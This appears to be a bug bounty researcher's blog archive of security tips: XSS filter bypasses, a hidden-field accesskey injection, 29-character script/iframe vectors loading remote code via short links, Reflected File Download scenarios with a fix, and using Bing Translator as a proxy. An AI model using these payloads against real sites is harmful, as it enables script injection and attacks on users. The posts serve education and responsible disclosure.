David Sopas – Web Security Researcher

Tips and Tricks

11/01/17 Tips and Tricks # , , , ,

Meter HTML5 XSS filter bypass

I was playing around with some new HTML5 features and noticed a funny one.

Meter gives you a cool progress bar on-the-fly – https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meter

Immediately I thought about using it to bypass some WRONG blacklist tags XSS filter and add a event to it:

<meter onmouseover="alert(1)"

You can check it on https://jsfiddle.net/btksfbbx/

Nowadays this doesn’t make any advantage to a researcher because you can use arbitrary tags:

<sopas style=font-size:200px onmouseover=alert(1)>Sopas

Online – https://jsfiddle.net/thnwcjcx/

0 likes no responses
14/01/16 Tips and Tricks # , ,

201 event handlers supported by modern browsers

0 likes no responses
06/01/16 Interesting Readings , Tips and Tricks # , , ,

Why some vendors ignore RFD attacks?

Why some vendors ignore RFD attacks?

Since I published my Reflected File Download Cheat Sheet I’m getting lot’s of private messages and emails from security researchers and bounty hunters telling that most companies ignore RFD attacks.
So I decided to clear things up and answer three most popular questions.

First a little introduction.
In my opinion they’re three ways of implementing a successful RFD attack.

  1. URL address automatically prompts the download dialog in most popular browsers
  2. Attack is only available using a external page in modern browsers but works like (1) in Internet Explorer 8 and 9 browsers
  3. Attack is only available using a external page in modern browsers

 

“Reflected File Download is a social engineering attack.”

On attack scenario (1) the victim is prompted with a download dialog just by visiting/clicking the URL – just like a reflected XSS but here the victim downloads a file from a trusted source. In 90% of the cases the victim runs the file. Imagine having the following URL:

https://www.google.com/app/setup.bat?callback=calc
[It’s just an example, this will not work]

If the victim runs the URL it will prompt the download of setup.bat. On Chrome you don’t need to see the source because you see the URL. On Firefox and IE you’ll the the source on the download dialog.

Attack scenario (2) works like (1) in IE 8 and 9. Other browsers need a external page to work using HTML5 download attribute.
The attackers in this last case need to launch a malicious campaign with that link. It’s like phishing emails but here the URL is from a trusted source.

Imagine this attack scenario:

  1. Attacker creates a page with a RFD link to a hosting company
  2. That page offers domain or hosting promo codes
  3. When the victim checks the link (mouse hover or view the source code) it will see that’s from a trusted source [the hosting company]
  4. Victim clicks the link and downloads the file (when they view the source of the download they will see the hosting company)
  5. Victim gets hijacked

On attack scenario (3) it’s the same scenario from (2) but don’t work as told before on IE 8 and 9.

Some may consider (2) and (3) a social engineering attack. The attacker needs to attract victims into his RFD page. For me it’s a grey area. They’re lot’s of ways to bring victims to a malicious page [blackhat seo, forums, social networks] without too much trouble. The key point here is that the RFD URL is from a trusted source which give the victim a little of confidence that they will download something that is what they’re are loooking for.
Companies that ignore this will have their reputation affected because they didn’t do anything to prevent this attack to their clients.

 

“We can’t do anything about it. It’s a external page that we can’t control.”

Wrong! On (1) you don’t need a external page.
On (2) and (3) the affected companies can protect and prevent RFD attacks by forcing the filename:

content-disposition:attachment; filename="f.txt"

Even if the attacker external page is using:

<a href="http://RFD_URL" download="setup.bat">Click here</a>

It will try to download f.txt.

Workable fix this by using the following:

workable_fix

 

“Google don’t consider this to be a issue”

Google has a specific page that tells security researchers that Reflected File Download security reports aren’t reliable for a reward.

But at the end of the text you can read the following:

Before sending a report please remember to include a realistic attack scenario, preferably, one that doesn’t require social engineering.

I already sent two (1) issues to Google and they were both accepted. So always give a good attack scenario.

I already helped most popular companies to fix Reflected File Download issues – Yahoo!, eBay, Microsoft, Google, Linkedin and many more.
Keep your security report clear and complete. Don’t argue with the affected company about their opinion. It’s their prerogative to deny your security report. In the end it’s their decision. – Keep calm and carry on!

Have a good and secure year of 2016 🙂

0 likes no responses
14/12/15 Tips and Tricks # , , ,

XSS on a input hidden field

XSS on a input hidden field

…where you have the input sanitized for ‘<> chars.

I come across a web application on a bounty program where the returnurl was placed in the following HTML:

<input type="hidden" name="returnurl" value="[USER INJECT]" />

The security filter removed <>’ chars but kept the double quote active and reflected.
What’s the first thing that comes to mind?

http://victim/?returnurl=" onclick="prompt(1)

Oh no! Wait… This is a hidden field so most Javascript events can’t work because you can’t see the input box right?
Also you can’t style it to show the field.

What I did was quite simple. I remember that Gareth Heyes wrote a small article on PortSwigger where you can use accesskey to get the XSS working. You press a key on your keyboard and you call a Javascript event. So my injection become:

http://victim/?returnurl=" accesskey="X" onclick="alert(document.domain)

Which reflected:

<input type="hidden" name="returnurl" value="" accesskey="X" onclick="alert(document.domain)" />

If the victim uses the accesskey X [usually by using ALT+SHIFT+X – Windows or CTRL+ALT+X in OSX] it will get the domain reflected in the javascript alert box. Keep in mind that this works only at Firefox.

To give a better report and also to bypass their single quote I also sent the following XSS vector:

http://victim/?returnurl=" accesskey="X" onclick="alert(String.fromCharCode(39,89,111,117,32,103,111,116,32,88,83,83,101,100,33,39))

It requires more user interaction but might give the bug appreciation program the Woooo! Factor 🙂

0 likes one response
27/11/15 Bug Bounty , Interesting Readings , Tips and Tricks # , , , ,

Should bug hunters provide real personal data on bug appreciation programs?

Should bug hunters provide real personal data on bug appreciation programs?

That’s a question that sometimes comes in mind of many “hunters”.

Personally in most cases, when I participate on these programs, I use fake information – one of the first reasons is to immediately test the input fields 🙂

Programs that required you to add your credit card info, phone number, bank info, … in most cases I try to slow down my research a bit. [As alternative sometimes I use one-time only credit cards but in other cases you need to provide other information to test further – eg: upload funds using your bank account. Also it’s a positive thing to have a phone number just to test bug appreciation programs. I already smsbomb myself using a vulnerability #shameonme]
I’m not paranoid but in my opinion it would me interesting if the program itself provides the security researcher with a payment sandbox. Some of them already do this.

Programs that want you to test their payment gateways, membership upgrades, etc… could create some private layer to help researchers. This is a win-win situation, where both parties have interest in giving their best.
Just to give you a background on this topic, a couple of weeks ago I had access to bank information using a SQL Injection vulnerability present on a bounty program. The data was in plaintext. Some of the info was from security researchers that were also testing their security.

I asked a couple of other researchers and some of them told me that they used fake payment data – that works if you are not buying or testing payments.

But I wanted more feedback… So I give it a try on the voting quiz available on Twitter and shared with my followers:

Do you use your personal information when bug hunting (name, phone, address, payment information, …)?

Yes – 26%
No – 39%
Not all the info – 35%

Total votes: 23 (duration: 24 hours)

Not many votes (timezone is a b****) but we can get a small idea on what bug hunters are doing.
74% of them don’t use their real information or just provide part of their personal data.

Bugcrowd told me that they provide test credentials wherever possible. They believe that providing that information to bug hunters participants is ideal, but that requires support on the backend side. Bugcrowd CEO – Casey Ellis – also told me that they advise programs [private or dojo] to create test accounts. If it’s a public program they advise them only if there’s a txn failsafe on the processing side because public may start using them for regular transactions.

Working with Cobalt I also had the opportunity to work with test accounts in their private programs.

On HackerOne I never come across test accounts, even with private programs. It would be cool if they comment this article about this.

Also I already come across of some bug appreciation programs that provided credit card details [bypassing the payment checks] to give the opportunity to researchers test live transactions.

I hope that with this article I help bug appreciation programs participants to protect themselves but at the same time providing the program a good service.

What you guys think about this?

0 likes no responses
09/11/15 Tips and Tricks # , ,

Tiny XSS exploitation

Tiny XSS exploitation

A well-known website had a limit of 32 chars on the user name field that was reflected in the public profile area.
That field allowed XSS exploitation:

d<img src=x onerror=prompt(1)>

Simple right?
But sometimes you need to provide a better vector where the affected company can see more than a prompt with a number. Also they know the limitation of their textfield to 32 chars.

I found two methods using SCRIPT and IFRAME.
When I was tring using this with a tiny URL [is.gd] pointing to my XSS code at davidsopas.com I realized that the vector wasn’t executing.
Why? It required HTTPS.

I searched for a tiny url that provided HTTPS and Google provide me with one – goo.gl.

So my final vector was:

<script src=//goo.gl/TJnzmV>
<iframe src=//goo.gl/xWYG4f>

29 chars and you I could use any Javascript I wanted.
It was fun!

You guys have any other method you like to share?

0 likes no responses
16/10/15 Tips and Tricks # , , , , , ,

Get a bounty on a WordPress blog

Get a bounty on a WordPress blog

I would like describe a step-by-step of my latest “appreciation program” reward on a security issue in a WordPress plugin.
First things first – check if the blog is in-scope of the program. If it is, continue to read this article. If not, you can just see my other tips about #bugbounty (here  and here).

I’m a big fan of WPScan. It’s a great Ruby tool to scan a WordPress installation. It uses a black box approach but still a must use in my opinion.
WPScan didn’t find any real security issue on my target but showed me the list of plugins used:

ruby wpscan.rb –url www.target.com –enumerate p

So I picked one by one to search for open vulnerabilities or something interesting on their changelog. Nothing…
I needed to start auditing them.

I picked Events Made Easy plugin  and installed it on my local box. The plugin is quite simple and I noticed that nonce WordPress security token or any other form protection was missing in some places [when auditing the source-code]. Also some of the variables were not sanitized so I could attack it with a CSRF and a Persistent XSS.

I started creating a proof-of-concept based on my findings – check the advisory.
I reported the security issue to the “appreciation program”, vendor and requested a CVE reference.

So my steps were:

  1. WordPress blog is in scope for reward
  2. Scan it with WPScan [don’t forget to enumerate the plugins]
  3. Analyze the results
  4. If scanning got you a vulnerability, report it! If not, download the plugins used, audit the source-code and create a proof-of-concept

Here you have some public bounties I found on Nexmo on their blog – https://cobalt.io/nexmo/reports/17 and https://cobalt.io/nexmo/reports/18

Small tip: Sometimes even a full disclosure can get you a small bounty 🙂 https://cobalt.io/nexmo/reports/15

0 likes no responses
16/10/15 Tips and Tricks # , , ,

Free online proxy using Bing Translator

Free online proxy using Bing Translator

This method is already known on many other servers like Google Translator and other online services.
I don’t know if I might consider this to be a security issue. Let’s call it a special Bing Translator feature 🙂

Using Bing Translator service anyone can use their IP addresses as a proxy. Malicious users could use this method as a plataform to launch web attacks like (xss, sql injection, etc). Also users could use this service to visit blocked sites.

Example:

http://www.microsofttranslator.com/bv.aspx?from=en&to=en&a=http://www.davidsopas.com/XXE

I noticed that on my webserver logs that I had two requests made by 157.56.2.63 [msnbot-157-56-2-63.search.msn.com]

Other example to show the IP of the user (ip.php just shows $_SERVER[“REMOTE_ADDR”]):

http://www.microsofttranslator.com/bv.aspx?from=en&to=en&a=http://www.davidsopas.com/poc/ip.php

I notice that if you make both languages in the same pair (i.e., en-en for English to English), the translation is effectively skipped but the requested web content is still served from Microsoft servers.

Google in the past had the same issue. They fixed the pair issue part to prevent misuse of their translation service. Now in Google Translator you always need to choose a different language every time.

0 likes no responses
12/10/15 Bug Bounty , Tips and Tricks # , ,

Free online tools to help your #bugbounty

Free online tools to help your #bugbounty

I’m getting a few emails asking some tips on how to get some bounties. Because I like to help others and I’m a share knowledge believer 🙂 I wrote this small article about using the right online tools and earn some bucks on bounty programs.

Most experience bug hunters already know most of this tools but this is mostly for starters.

SSL validation
URL: https://www.ssllabs.com/ssltest/

Qualys provides a free online tool that runs a complete test on a target SSL. Heartbleed, OpenSSL CCS vuln, BEAST, POODLE, etc all of these are covered in this online test.

Missing SPF? Let’s test it…
URL: http://www.kitterman.com/spf/validate.html

These tools are meant to help you check SPF records on your target. For many bug bounties participants this is one of the first things to try. Usually get’s the minimum payout if in-scope. On HackerOne, Shopify already paid $500 on this missing email security header – https://hackerone.com/reports/54779

Test X-FRAME-Options
URL: http://savanttools.com/test-frame

This tool is useful for detecting sites that use the X-FRAME-OPTIONS header to block framing, or use frame-breaking / frame-busting Javascript. Clickjacking attacks can be achieved with the help of this tool.

Find subdomains of a domain
URL: https://pentest-tools.com/information-gathering/find-subdomains-of-domain

pentest-tools.com offers 40 credits every day to a user for free and using this information gathering information on the subdomains will take you 20 credits so you can use it twice a day. This is very usefull to find other domain targets.

Online fuzzer
URL: https://pentest-tools.com/website-vulnerability-scanning/discover-hidden-directories-and-files

With only 10 credits [you have 40 credits every day] this online URL Fuzzer can be used to find hidden files and directories on a web server.
This is a discovery activity which allows you to discover resources that were not meant to be publicly accessible (ex. /backups, /index.php.old, /archive.tgz, /source_code.zip, etc).
With a file/direcotry fuzzer you can always find interesting stuff. I already found a couple of phpinfo.php files on major companies and got few bounties with them.

Using Drupal?
URL: https://hackertarget.com/drupal-security-scan/

With this online you get a overview of the Drupal version used, template name, if directory indexing is enabled, etc. Some of this information you could use to run further tests and determine if you can get someting vulnerable from the Drupal instalation.

Using WordPress?
URL: https://hackertarget.com/wordpress-security-scan/

I’m a big fan of wp-scan but if you need a free online tool HackerTarget will do a good job for you.
This tool will check the version of WordPress, check directory indexing, list plugins [and if new updates are available], user enumeration, etc. With this information you can check for vulnerable plugins and provide a good report about that.

Using Joomla?
URL: https://hackertarget.com/joomla-security-scan/

Like the previous tools this one also checks for Joomla instalattions information. Take a look into the plugins/components. Usually there are something to look for. Compare versions and Google for changelogs about vulnerabilities. Very often in the changelog the vulnerability is not public but if it says CSRF on options-windows.php. Just try to download that version and audit it yourself. I’ll do that 🙂

Target store using Magento?
URL: https://www.magereport.com/

Scan your targets Magento shop for known security vulnerabilities. This is a very useful tool that can get a few vulnerabilities in your bounty quest.

I would like to add that there are better tools that could be installed on your operating system but that could be on another article 🙂

Tip 1: Always read carefully the bounty program details to check what’s in-scope. Always respect the rules.
Tip 2: Don’t forget also to read my article. Don’t copy paste your online results on the report and voila!

0 likes one response